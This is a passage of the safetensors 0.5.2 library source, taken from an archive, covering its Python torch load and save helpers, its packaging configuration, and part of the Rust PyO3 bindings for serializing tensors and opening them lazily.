result = {}
with safe_open(filename, framework="pt", device=device) as f:
for k in f.keys():
result[k] = f.get_tensor(k)
return result
def load(data: bytes) -> Dict[str, torch.Tensor]:
"""
Loads a safetensors file into torch format from pure bytes.
Args:
data (`bytes`):
The content of a safetensors file
Returns:
`Dict[str, torch.Tensor]`: dictionary that contains name as key, value as `torch.Tensor` on cpu
Example:
```python
from safetensors.torch import load
file_path = "./my_folder/bert.safetensors"
with open(file_path, "rb") as f:
data = f.read()
loaded = load(data)
```
"""
flat = deserialize(data)
return _view2torch(flat)
# torch.float8 formats require 2.1; we do not support these dtypes on earlier versions
_float8_e4m3fn = getattr(torch, "float8_e4m3fn", None)
_float8_e5m2 = getattr(torch, "float8_e5m2", None)
_SIZE = {
torch.int64: 8,
torch.float32: 4,
torch.int32: 4,
torch.bfloat16: 2,
torch.float16: 2,
torch.int16: 2,
torch.uint8: 1,
torch.int8: 1,
torch.bool: 1,
torch.float64: 8,
_float8_e4m3fn: 1,
_float8_e5m2: 1,
}
_TYPES = {
"F64": torch.float64,
"F32": torch.float32,
"F16": torch.float16,
"BF16": torch.bfloat16,
"I64": torch.int64,
# "U64": torch.uint64,
"I32": torch.int32,
# "U32": torch.uint32,
"I16": torch.int16,
# "U16": torch.uint16,
"I8": torch.int8,
"U8": torch.uint8,
"BOOL": torch.bool,
"F8_E4M3": _float8_e4m3fn,
"F8_E5M2": _float8_e5m2,
}
def _getdtype(dtype_str: str) -> torch.dtype:
return _TYPES[dtype_str]
def _view2torch(safeview) -> Dict[str, torch.Tensor]:
result = {}
for k, v in safeview:
dtype = _getdtype(v["dtype"])
if len(v["data"]) == 0:
# Workaround because frombuffer doesn't accept zero-size tensors
assert any(x == 0 for x in v["shape"])
arr = torch.empty(v["shape"], dtype=dtype)
else:
arr = torch.frombuffer(v["data"], dtype=dtype).reshape(v["shape"])
if sys.byteorder == "big":
arr = torch.from_numpy(arr.numpy().byteswap(inplace=False))
result[k] = arr
return result
def _tobytes(tensor: torch.Tensor, name: str) -> bytes:
if tensor.layout != torch.strided:
raise ValueError(
f"You are trying to save a sparse tensor: `{name}` which this library does not support."
" You can make it a dense tensor before saving with `.to_dense()` but be aware this might"
" make a much larger file than needed."
)
if not tensor.is_contiguous():
raise ValueError(
f"You are trying to save a non contiguous tensor: `{name}` which is not allowed. It either means you"
" are trying to save tensors which are reference of each other in which case it's recommended to save"
" only the full tensors, and reslice at load time, or simply call `.contiguous()` on your tensor to"
" pack it before saving."
)
if tensor.device.type != "cpu":
# Moving tensor to cpu before saving
tensor = tensor.to("cpu")
import ctypes
import numpy as np
# When shape is empty (scalar), np.prod returns a float
# we need a int for the following calculations
length = int(np.prod(tensor.shape).item())
bytes_per_item = _SIZE[tensor.dtype]
total_bytes = length * bytes_per_item
ptr = tensor.data_ptr()
if ptr == 0:
return b""
newptr = ctypes.cast(ptr, ctypes.POINTER(ctypes.c_ubyte))
data = np.ctypeslib.as_array(newptr, (total_bytes,)) # no internal copy
if sys.byteorder == "big":
NPDTYPES = {
torch.int64: np.int64,
torch.float32: np.float32,
torch.int32: np.int32,
# XXX: This is ok because both have the same width
torch.bfloat16: np.float16,
torch.float16: np.float16,
torch.int16: np.int16,
torch.uint8: np.uint8,
torch.int8: np.int8,
torch.bool: bool,
torch.float64: np.float64,
# XXX: This is ok because both have the same width and byteswap is a no-op anyway
_float8_e4m3fn: np.uint8,
_float8_e5m2: np.uint8,
}
npdtype = NPDTYPES[tensor.dtype]
# Not in place as that would potentially modify a live running model
data = data.view(npdtype).byteswap(inplace=False)
return data.tobytes()
def _flatten(tensors: Dict[str, torch.Tensor]) -> Dict[str, Dict[str, Any]]:
if not isinstance(tensors, dict):
raise ValueError(f"Expected a dict of [str, torch.Tensor] but received {type(tensors)}")
invalid_tensors = []
for k, v in tensors.items():
if not isinstance(v, torch.Tensor):
raise ValueError(f"Key `{k}` is invalid, expected torch.Tensor but received {type(v)}")
if v.layout != torch.strided:
invalid_tensors.append(k)
if invalid_tensors:
raise ValueError(
f"You are trying to save a sparse tensors: `{invalid_tensors}` which this library does not support."
" You can make it a dense tensor before saving with `.to_dense()` but be aware this might"
" make a much larger file than needed."
)
shared_pointers = _find_shared_tensors(tensors)
failing = []
for names in shared_pointers:
if len(names) > 1:
failing.append(names)
if failing:
raise RuntimeError(
f"""
Some tensors share memory, this will lead to duplicate memory on disk and potential differences when loading them again: {failing}.
A potential way to correctly save your model is to use `save_model`.
More information at https://huggingface.co/docs/safetensors/torch_shared_tensors
"""
)
return {
k: {
"dtype": str(v.dtype).split(".")[-1],
"shape": v.shape,
"data": _tobytes(v, k),
}
for k, v in tensors.items()
}
safetensors-0.5.2/bindings/python/pyproject.toml 0000664 0000000 0000000 00000004563 14737533723 0022132 0 ustar 00root root 0000000 0000000 [project]
name = 'safetensors'
requires-python = '>=3.7'
authors = [
{name = 'Nicolas Patry', email = 'patry.nicolas@protonmail.com'}
]
classifiers = [
"Development Status :: 5 - Production/Stable",
"Intended Audience :: Developers",
"Intended Audience :: Education",
"Intended Audience :: Science/Research",
"License :: OSI Approved :: Apache Software License",
"Operating System :: OS Independent",
"Programming Language :: Python :: 3",
"Programming Language :: Python :: 3.7",
"Programming Language :: Python :: 3.8",
"Programming Language :: Python :: 3.9",
"Programming Language :: Python :: 3.10",
"Topic :: Scientific/Engineering :: Artificial Intelligence",
"Typing :: Typed",
]
dynamic = [
'description',
'license',
'readme',
'version',
]
[project.urls]
Homepage = 'https://github.com/huggingface/safetensors'
Source = 'https://github.com/huggingface/safetensors'
[project.optional-dependencies]
numpy = ["numpy>=1.21.6"]
torch = [
"safetensors[numpy]",
"torch>=1.10",
]
tensorflow = [
"safetensors[numpy]",
"tensorflow>=2.11.0",
]
# pinning tf version 2.11.0 for doc-builder
pinned-tf = [
"safetensors[numpy]",
"tensorflow==2.18.0",
]
jax = [
"safetensors[numpy]",
"flax>=0.6.3",
"jax>=0.3.25",
"jaxlib>=0.3.25",
]
mlx = [
"mlx>=0.0.9",
]
paddlepaddle = [
"safetensors[numpy]",
"paddlepaddle>=2.4.1",
]
quality = [
"black==22.3", # after updating to black 2023, also update Python version in pyproject.toml to 3.7
"click==8.0.4",
"isort>=5.5.4",
"flake8>=3.8.3",
]
testing = [
"safetensors[numpy]",
"h5py>=3.7.0",
"huggingface_hub>=0.12.1",
"setuptools_rust>=1.5.2",
"pytest>=7.2.0",
"pytest-benchmark>=4.0.0",
# "python-afl>=0.7.3",
"hypothesis>=6.70.2",
]
all = [
"safetensors[torch]",
"safetensors[numpy]",
"safetensors[pinned-tf]",
"safetensors[jax]",
"safetensors[paddlepaddle]",
"safetensors[quality]",
"safetensors[testing]",
]
dev = [
"safetensors[all]",
]
[build-system]
requires = ["maturin>=1.0,<2.0"]
build-backend = "maturin"
[tool.maturin]
python-source = "py_src"
module-name = "safetensors._safetensors_rust"
bindings = 'pyo3'
features = ["pyo3/extension-module"]
[tool.black]
line-length = 119
target-version = ['py35']
[tool.setuptools.dynamic]
readme = {file = ["README.rst"]}
safetensors-0.5.2/bindings/python/setup.cfg 0000664 0000000 0000000 00000001573 14737533723 0021035 0 ustar 00root root 0000000 0000000 [isort]
default_section = FIRSTPARTY
ensure_newline_before_comments = True
force_grid_wrap = 0
include_trailing_comma = True
known_first_party = transformers
known_third_party =
absl
conllu
datasets
elasticsearch
fairseq
faiss-cpu
fastprogress
fire
fugashi
git
h5py
matplotlib
nltk
numpy
packaging
pandas
PIL
psutil
pytest
pytorch_lightning
rouge_score
sacrebleu
seqeval
sklearn
streamlit
tensorboardX
tensorflow
tensorflow_datasets
timeout_decorator
torch
torchaudio
torchtext
torchvision
torch_xla
tqdm
paddlepaddle
line_length = 119
lines_after_imports = 2
multi_line_output = 3
use_parentheses = True
[flake8]
ignore = E203, E501, E741, W503, W605
max-line-length = 119
[tool:pytest]
doctest_optionflags=NUMBER NORMALIZE_WHITESPACE ELLIPSIS safetensors-0.5.2/bindings/python/src/ 0000775 0000000 0000000 00000000000 14737533723 0017775 5 ustar 00root root 0000000 0000000 safetensors-0.5.2/bindings/python/src/lib.rs 0000664 0000000 0000000 00000127333 14737533723 0021122 0 ustar 00root root 0000000 0000000 #![deny(missing_docs)]
//! Dummy doc
use memmap2::{Mmap, MmapOptions};
use pyo3::exceptions::{PyException, PyFileNotFoundError};
use pyo3::prelude::*;
use pyo3::sync::GILOnceCell;
use pyo3::types::IntoPyDict;
use pyo3::types::{PyBool, PyByteArray, PyBytes, PyDict, PyList, PySlice};
use pyo3::Bound as PyBound;
use pyo3::{intern, PyErr};
use safetensors::slice::TensorIndexer;
use safetensors::tensor::{Dtype, Metadata, SafeTensors, TensorInfo, TensorView};
use safetensors::View;
use std::borrow::Cow;
use std::collections::HashMap;
use std::fs::File;
use std::iter::FromIterator;
use std::ops::Bound;
use std::path::PathBuf;
use std::sync::Arc;
static TORCH_MODULE: GILOnceCell> = GILOnceCell::new();
static NUMPY_MODULE: GILOnceCell> = GILOnceCell::new();
static TENSORFLOW_MODULE: GILOnceCell> = GILOnceCell::new();
static FLAX_MODULE: GILOnceCell> = GILOnceCell::new();
static MLX_MODULE: GILOnceCell> = GILOnceCell::new();
struct PyView<'a> {
shape: Vec,
dtype: Dtype,
data: PyBound<'a, PyBytes>,
data_len: usize,
}
impl View for &PyView<'_> {
fn data(&self) -> std::borrow::Cow<[u8]> {
Cow::Borrowed(self.data.as_bytes())
}
fn shape(&self) -> &[usize] {
&self.shape
}
fn dtype(&self) -> Dtype {
self.dtype
}
fn data_len(&self) -> usize {
self.data_len
}
}
fn prepare(tensor_dict: HashMap>) -> PyResult> {
let mut tensors = HashMap::with_capacity(tensor_dict.len());
for (tensor_name, tensor_desc) in &tensor_dict {
let shape: Vec = tensor_desc
.get_item("shape")?
.ok_or_else(|| SafetensorError::new_err(format!("Missing `shape` in {tensor_desc:?}")))?
.extract()?;
let pydata: PyBound = tensor_desc.get_item("data")?.ok_or_else(|| {
SafetensorError::new_err(format!("Missing `data` in {tensor_desc:?}"))
})?;
// Make sure it's extractable first.
let data: &[u8] = pydata.extract()?;
let data_len = data.len();
let data: PyBound = pydata.extract()?;
let pydtype = tensor_desc.get_item("dtype")?.ok_or_else(|| {
SafetensorError::new_err(format!("Missing `dtype` in {tensor_desc:?}"))
})?;
let dtype: String = pydtype.extract()?;
let dtype = match dtype.as_ref() {
"bool" => Dtype::BOOL,
"int8" => Dtype::I8,
"uint8" => Dtype::U8,
"int16" => Dtype::I16,
"uint16" => Dtype::U16,
"int32" => Dtype::I32,
"uint32" => Dtype::U32,
"int64" => Dtype::I64,
"uint64" => Dtype::U64,
"float16" => Dtype::F16,
"float32" => Dtype::F32,
"float64" => Dtype::F64,
"bfloat16" => Dtype::BF16,
"float8_e4m3fn" => Dtype::F8_E4M3,
"float8_e5m2" => Dtype::F8_E5M2,
dtype_str => {
return Err(SafetensorError::new_err(format!(
"dtype {dtype_str} is not covered",
)));
}
};
let tensor = PyView {
shape,
dtype,
data,
data_len,
};
tensors.insert(tensor_name.to_string(), tensor);
}
Ok(tensors)
}
/// Serializes raw data.
///
/// Args:
/// tensor_dict (`Dict[str, Dict[Any]]`):
/// The tensor dict is like:
/// {"tensor_name": {"dtype": "F32", "shape": [2, 3], "data": b"\0\0"}}
/// metadata (`Dict[str, str]`, *optional*):
/// The optional purely text annotations
///
/// Returns:
/// (`bytes`):
/// The serialized content.
#[pyfunction]
#[pyo3(signature = (tensor_dict, metadata=None))]
fn serialize<'b>(
py: Python<'b>,
tensor_dict: HashMap>,
metadata: Option>,
) -> PyResult> {
let tensors = prepare(tensor_dict)?;
let metadata_map = metadata.map(HashMap::from_iter);
let out = safetensors::tensor::serialize(&tensors, &metadata_map)
.map_err(|e| SafetensorError::new_err(format!("Error while serializing: {e:?}")))?;
let pybytes = PyBytes::new(py, &out);
Ok(pybytes)
}
/// Serializes raw data.
///
/// Args:
/// tensor_dict (`Dict[str, Dict[Any]]`):
/// The tensor dict is like:
/// {"tensor_name": {"dtype": "F32", "shape": [2, 3], "data": b"\0\0"}}
/// filename (`str`, or `os.PathLike`):
/// The name of the file to write into.
/// metadata (`Dict[str, str]`, *optional*):
/// The optional purely text annotations
///
/// Returns:
/// (`bytes`):
/// The serialized content.
#[pyfunction]
#[pyo3(signature = (tensor_dict, filename, metadata=None))]
fn serialize_file(
tensor_dict: HashMap>,
filename: PathBuf,
metadata: Option>,
) -> PyResult<()> {
let tensors = prepare(tensor_dict)?;
safetensors::tensor::serialize_to_file(&tensors, &metadata, filename.as_path())
.map_err(|e| SafetensorError::new_err(format!("Error while serializing: {e:?}")))?;
Ok(())
}
/// Opens a safetensors lazily and returns tensors as asked
///
/// Args:
/// data (`bytes`):
/// The byte content of a file
///
/// Returns:
/// (`List[str, Dict[str, Dict[str, any]]]`):
/// The deserialized content is like:
/// [("tensor_name", {"shape": [2, 3], "dtype": "F32", "data": b"\0\0.." }), (...)]
#[pyfunction]
#[pyo3(signature = (bytes))]
fn deserialize(py: Python, bytes: &[u8]) -> PyResult)>> {
let safetensor = SafeTensors::deserialize(bytes)
.map_err(|e| SafetensorError::new_err(format!("Error while deserializing: {e:?}")))?;
let tensors = safetensor.tensors();
let mut items = Vec::with_capacity(tensors.len());
for (tensor_name, tensor) in tensors {
let pyshape: PyObject = PyList::new(py, tensor.shape().iter())?.into();
let pydtype: PyObject = format!("{:?}", tensor.dtype()).into_pyobject(py)?.into();
let pydata: PyObject = PyByteArray::new(py, tensor.data()).into();
let map = HashMap::from([
("shape".to_string(), pyshape),
("dtype".to_string(), pydtype),
("data".to_string(), pydata),
]);
items.push((tensor_name, map));
}
Ok(items)
}
fn slice_to_indexer(
(dim_idx, (slice_index, dim)): (usize, (SliceIndex, usize)),
) -> Result {
match slice_index {
SliceIndex::Slice(slice) => {
let py_start = slice.getattr(intern!(slice.py(), "start"))?;
let start: Option = py_start.extract()?;
let start = if let Some(start) = start {
Bound::Included(start)
} else {
Bound::Unbounded
};
let py_stop = slice.getattr(intern!(slice.py(), "stop"))?;
let stop: Option = py_stop.extract()?;
let stop = if let Some(stop) = stop {
Bound::Excluded(stop)
} else {
Bound::Unbounded
};
Ok(TensorIndexer::Narrow(start, stop))
}
SliceIndex::Index(idx) => {
if idx < 0 {
let idx = dim
.checked_add_signed(idx as isize)
.ok_or(SafetensorError::new_err(format!(
"Invalid index {idx} for dimension {dim_idx} of size {dim}"
)))?;
Ok(TensorIndexer::Select(idx))
} else {
Ok(TensorIndexer::Select(idx as usize))
}
}
}
}
#[derive(Debug, Clone, PartialEq, Eq)]
enum Framework {
Pytorch,
Numpy,
Tensorflow,
Flax,
Mlx,
}
impl<'source> FromPyObject<'source> for Framework {
fn extract_bound(ob: &PyBound<'source, PyAny>) -> PyResult {
let name: String = ob.extract()?;
match &name[..] {
"pt" => Ok(Framework::Pytorch),
"torch" => Ok(Framework::Pytorch),
"pytorch" => Ok(Framework::Pytorch),
"np" => Ok(Framework::Numpy),
"numpy" => Ok(Framework::Numpy),
"tf" => Ok(Framework::Tensorflow),
"tensorflow" => Ok(Framework::Tensorflow),
"jax" => Ok(Framework::Flax),
"flax" => Ok(Framework::Flax),
"mlx" => Ok(Framework::Mlx),
name => Err(SafetensorError::new_err(format!(
"framework {name} is invalid"
))),
}
}
}
#[derive(Debug, Clone, PartialEq, Eq)]
enum Device {
Cpu,
Cuda(usize),
Mps,
Npu(usize),
Xpu(usize),
Xla(usize),
Mlu(usize),
/// User didn't specify acceletor, torch
/// is responsible for choosing.
Anonymous(usize),
}
/// Parsing the device index.
fn parse_device(name: &str) -> PyResult {
let tokens: Vec<_> = name.split(':').collect();
if tokens.len() == 2 {
let device: usize = tokens[1].parse()?;
Ok(device)
} else {
Err(SafetensorError::new_err(format!(
"device {name} is invalid"
)))
}
}
impl<'source> FromPyObject<'source> for Device {
fn extract_bound(ob: &PyBound<'source, PyAny>) -> PyResult {
if let Ok(name) = ob.extract::() {
match &name[..] {
"cpu" => Ok(Device::Cpu),
"cuda" => Ok(Device::Cuda(0)),
"mps" => Ok(Device::Mps),
"npu" => Ok(Device::Npu(0)),
"xpu" => Ok(Device::Xpu(0)),
"xla" => Ok(Device::Xla(0)),
"mlu" => Ok(Device::Mlu(0)),
name if name.starts_with("cuda:") => parse_device(name).map(Device::Cuda),
name if name.starts_with("npu:") => parse_device(name).map(Device::Npu),
name if name.starts_with("xpu:") => parse_device(name).map(Device::Xpu),
name if name.starts_with("xla:") => parse_device(name).map(Device::Xla),
name if name.starts_with("mlu:") => parse_device(name).map(Device::Mlu),
name => Err(SafetensorError::new_err(format!(
"device {name} is invalid"
))),
}
} else if let Ok(number) = ob.extract::() {
Ok(Device::Anonymous(number))
} else {
Err(SafetensorError::new_err(format!("device {ob} is invalid")))
}
}
}
impl<'py> IntoPyObject<'py> for Device {
type Target = PyAny;
type Output = pyo3::Bound<'py, Self::Target>;
type Error = std::convert::Infallible;
fn into_pyobject(self, py: Python<'py>) -> Result {
match self {
Device::Cpu => "cpu".into_pyobject(py).map(|x| x.into_any()),
Device::Cuda(n) => format!("cuda:{n}").into_pyobject(py).map(|x| x.into_any()),
Device::Mps => "mps".into_pyobject(py).map(|x| x.into_any()),
Device::Npu(n) => format!("npu:{n}").into_pyobject(py).map(|x| x.into_any()),
Device::Xpu(n) => format!("xpu:{n}").into_pyobject(py).map(|x| x.into_any()),
Device::Xla(n) => format!("xla:{n}").into_pyobject(py).map(|x| x.into_any()),
Device::Mlu(n) => format!("mlu:{n}").into_pyobject(py).map(|x| x.into_any()),
Device::Anonymous(n) => n.into_pyobject(py).map(|x| x.into_any()),
}
}
}
enum Storage {
Mmap(Mmap),
/// Torch specific mmap
/// This allows us to not manage it
/// so Pytorch can handle the whole lifecycle.
/// https://pytorch.org/docs/stable/storage.html#torch.TypedStorage.from_file.
TorchStorage(GILOnceCell),
}
#[derive(Debug, PartialEq, Eq, PartialOrd)]
struct Version {
major: u8,
minor: u8,
patch: u8,
}
impl Version {
fn new(major: u8, minor: u8, patch: u8) -> Self {
Self {
major,
minor,
patch,
}
}
fn from_string(string: &str) -> Result {
let mut parts = string.split('.');
let err = || format!("Could not parse torch package version {string}.");
let major_str = parts.next().ok_or_else(err)?;
let minor_str = parts.next().ok_or_else(err)?;
let patch_str = parts.next().ok_or_else(err)?;
// Patch is more complex and can be:
// - `1` a number
// - `1a0`, `1b0`, `1rc1` an alpha, beta, release candidate version
// - `1a0+git2323` from source with commit number
let patch_str: String = patch_str
.chars()
.take_while(|c| c.is_ascii_digit())
.collect();
let major = major_str.parse().map_err(|_| err())?;
let minor = minor_str.parse().map_err(|_| err())?;
let patch = patch_str.parse().map_err(|_| err())?;
Ok(Version {
major,
minor,
patch,
})
}
}
struct Open {
metadata: Metadata,
offset: usize,
framework: Framework,
device: Device,
storage: Arc,
}
impl Open {
fn new(filename: PathBuf, framework: Framework, device: Option) -> PyResult {
let file = File::open(&filename).map_err(|_| {
PyFileNotFoundError::new_err(format!("No such file or directory: {filename:?}"))
})?;
let device = device.unwrap_or(Device::Cpu);
if device != Device::Cpu && framework != Framework::Pytorch {
return Err(SafetensorError::new_err(format!(
"Device {device:?} is not support for framework {framework:?}",
)));
}
// SAFETY: Mmap is used to prevent allocating in Rust
// before making a copy within Python.
let buffer = unsafe { MmapOptions::new().map_copy_read_only(&file)? };
let (n, metadata) = SafeTensors::read_metadata(&buffer).map_err(|e| {
SafetensorError::new_err(format!("Error while deserializing header: {e:?}"))
})?;
let offset = n + 8;
Python::with_gil(|py| -> PyResult<()> {
match framework {
Framework::Pytorch => {
let module = PyModule::import(py, intern!(py, "torch"))?;
TORCH_MODULE.get_or_init(py, || module.into())
}
_ => {
let module = PyModule::import(py, intern!(py, "numpy"))?;
NUMPY_MODULE.get_or_init(py, || module.into())
}
};
Ok(())
})?;
let storage = match &framework {
Framework::Pytorch => Python::with_gil(|py| -> PyResult {
let module = get_module(py, &TORCH_MODULE)?;
let version: String = module.getattr(intern!(py, "__version__"))?.extract()?;
let version = Version::from_string(&version).map_err(SafetensorError::new_err)?;
// Untyped storage only exists for versions over 1.11.0
// Same for torch.asarray which is necessary for zero-copy tensor
if version >= Version::new(1, 11, 0) {
// storage = torch.ByteStorage.from_file(filename, shared=False, size=size).untyped()
let py_filename: PyObject = filename.into_pyobject(py)?.into();
let size: PyObject = buffer.len().into_pyobject(py)?.into();
let shared: PyObject = PyBool::new(py, false).to_owned().into();
let (size_name, storage_name) = if version >= Version::new(2, 0, 0) {
(intern!(py, "nbytes"), intern!(py, "UntypedStorage"))
} else {
(intern!(py, "size"), intern!(py, "ByteStorage"))
};
let kwargs =
[(intern!(py, "shared"), shared), (size_name, size)].into_py_dict(py)?;
let storage = module
.getattr(storage_name)?
// .getattr(intern!(py, "from_file"))?
.call_method("from_file", (py_filename,), Some(&kwargs))?;
let untyped: PyBound<'_, PyAny> = match storage.getattr(intern!(py, "untyped"))
{
Ok(untyped) => untyped,
Err(_) => storage.getattr(intern!(py, "_untyped"))?,
};
let storage = untyped.call0()?.into_pyobject(py)?.into();
let gil_storage = GILOnceCell::new();
gil_storage.get_or_init(py, || storage);
Ok(Storage::TorchStorage(gil_storage))
} else {
Ok(Storage::Mmap(buffer))
}
})?,
_ => Storage::Mmap(buffer),
};
let storage = Arc::new(storage);
Ok(Self {
metadata,
offset,
framework,
device,
storage,
})
}
/// Return the special non tensor information in the header
///
/// Returns:
/// (`Dict[str, str]`):
/// The freeform metadata.
pub fn metadata(&self) -> Option> {
self.metadata.metadata().clone()
}
/// Returns the names of the tensors in the file.
///
/// Returns:
/// (`List[str]`):
/// The name of the tensors contained in that file
pub fn keys(&self) -> PyResult> {
let mut keys: Vec = self.metadata.tensors().keys().cloned().collect();
keys.sort();
Ok(keys)
}
/// Returns a full tensor
///
/// Args:
/// name (`str`):
/// The name of the tensor you want
///
/// Returns:
/// (`Tensor`):
/// The tensor in the framework you opened the file for.
///
/// Example:
/// ```python
/// from safetensors import safe_open
///
/// with safe_open("model.safetensors", framework="pt", device=0) as f:
/// tensor = f.get_tensor("embedding")
///
/// ```
pub fn get_tensor(&self, name: &str) -> PyResult {
let info = self.metadata.info(name).ok_or_else(|| {
SafetensorError::new_err(format!("File does not contain tensor {name}",))
})?;
// let info = tensors.get(name).ok_or_else(|| {
// SafetensorError::new_err(format!("File does not contain tensor {name}",))
// })?;
match &self.storage.as_ref() {
Storage::Mmap(mmap) => {
let data =
&mmap[info.data_offsets.0 + self.offset..info.data_offsets.1 + self.offset];
let array: PyObject =
Python::with_gil(|py| PyByteArray::new(py, data).into_any().into());
create_tensor(
&self.framework,
info.dtype,
&info.shape,
array,
&self.device,
)
}
Storage::TorchStorage(storage) => {
Python::with_gil(|py| -> PyResult {
let torch = get_module(py, &TORCH_MODULE)?;
let dtype: PyObject = get_pydtype(torch, info.dtype, false)?;
let torch_uint8: PyObject = get_pydtype(torch, Dtype::U8, false)?;
let kwargs = [(intern!(py, "dtype"), torch_uint8)].into_py_dict(py)?;
let view_kwargs = [(intern!(py, "dtype"), dtype)].into_py_dict(py)?;
let shape = info.shape.to_vec();
let shape: PyObject = shape.into_pyobject(py)?.into();
let start = (info.data_offsets.0 + self.offset) as isize;
let stop = (info.data_offsets.1 + self.offset) as isize;
let slice = PySlice::new(py, start, stop, 1);
let storage: &PyObject = storage
.get(py)
.ok_or_else(|| SafetensorError::new_err("Could not find storage"))?;
let storage: &PyBound = storage.bind(py);
let storage_slice = storage
.getattr(intern!(py, "__getitem__"))?
.call1((slice,))?;
let sys = PyModule::import(py, intern!(py, "sys"))?;
let byteorder: String = sys.getattr(intern!(py, "byteorder"))?.extract()?;
let mut tensor = torch
.getattr(intern!(py, "asarray"))?
.call((storage_slice,), Some(&kwargs))?
.getattr(intern!(py, "view"))?
.call((), Some(&view_kwargs))?;
if byteorder == "big" {
let inplace_kwargs =
[(intern!(py, "inplace"), PyBool::new(py, false))].into_py_dict(py)?;
let intermediary_dtype = match info.dtype {
Dtype::BF16 => Some(Dtype::F16),
Dtype::F8_E5M2 => Some(Dtype::U8),
Dtype::F8_E4M3 => Some(Dtype::U8),
_ => None,
};
if let Some(intermediary_dtype) = intermediary_dtype {
// Reinterpret to f16 for numpy compatibility.
let dtype: PyObject = get_pydtype(torch, intermediary_dtype, false)?;
let view_kwargs = [(intern!(py, "dtype"), dtype)].into_py_dict(py)?;
tensor = tensor
.getattr(intern!(py, "view"))?
.call((), Some(&view_kwargs))?;
}
let numpy = tensor
.getattr(intern!(py, "numpy"))?
.call0()?
.getattr("byteswap")?
.call((), Some(&inplace_kwargs))?;
tensor = torch.getattr(intern!(py, "from_numpy"))?.call1((numpy,))?;
if intermediary_dtype.is_some() {
// Reinterpret to f16 for numpy compatibility.
let dtype: PyObject = get_pydtype(torch, info.dtype, false)?;
let view_kwargs = [(intern!(py, "dtype"), dtype)].into_py_dict(py)?;
tensor = tensor
.getattr(intern!(py, "view"))?
.call((), Some(&view_kwargs))?;
}
}
tensor = tensor.getattr(intern!(py, "reshape"))?.call1((shape,))?;
if self.device != Device::Cpu {
let device: PyObject = self.device.clone().into_pyobject(py)?.into();
let kwargs = PyDict::new(py);
tensor = tensor.call_method("to", (device,), Some(&kwargs))?;
}
Ok(tensor.into_pyobject(py)?.into())
// torch.asarray(storage[start + n : stop + n], dtype=torch.uint8).view(dtype=dtype).reshape(shape)
})
}
}
}
/// Returns a full slice view object
///
/// Args:
/// name (`str`):
/// The name of the tensor you want
///
/// Returns:
/// (`PySafeSlice`):
/// A dummy object you can slice into to get a real tensor
/// Example:
/// ```python
/// from safetensors import safe_open
///
/// with safe_open("model.safetensors", framework="pt", device=0) as f:
/// tensor_part = f.get_slice("embedding")[:, ::8]
///
/// ```
pub fn get_slice(&self, name: &str) -> PyResult {
if let Some(&info) = self.metadata.tensors().get(name) {
Ok(PySafeSlice {
info: info.clone(),
framework: self.framework.clone(),
offset: self.offset,
device: self.device.clone(),
storage: self.storage.clone(),
})
} else {
Err(SafetensorError::new_err(format!(
"File does not contain tensor {name}",
)))
}
}
}
/// Opens a safetensors lazily and returns tensors as asked
///
/// Args:
/// filename (`str`, or `os.PathLike`):
/// The filename to open
///
/// framework (`str`):
/// The framework you want you tensors in. Supported values:
/// `pt`, `tf`, `flax`, `numpy`.
///
/// device (`str`, defaults to `"cpu"`):
/// The device on which you want the tensors.
#[pyclass]
#[allow(non_camel_case_types)]
struct safe_open {
inner: Option,
}
impl safe_open {
fn inner(&self) -> PyResult<&Open> {
let inner = self
.inner
.as_ref()
.ok_or_else(|| SafetensorError::new_err("File is closed".to_string()))?;
Ok(inner)
}
}
#[pymethods]
impl safe_open {
#[new]
#[pyo3(signature = (filename, framework, device=Some(Device::Cpu)))]
fn new(filename: PathBuf, framework: Framework, device: Option) -> PyResult {
let inner = Some(Open::new(filename, framework, device)?);
Ok(Self { inner })
}
/// Return the special non tensor information in the header
///
/// Returns:
/// (`Dict[str, str]`):
/// The freeform metadata.
pub fn metadata(&self) -> PyResult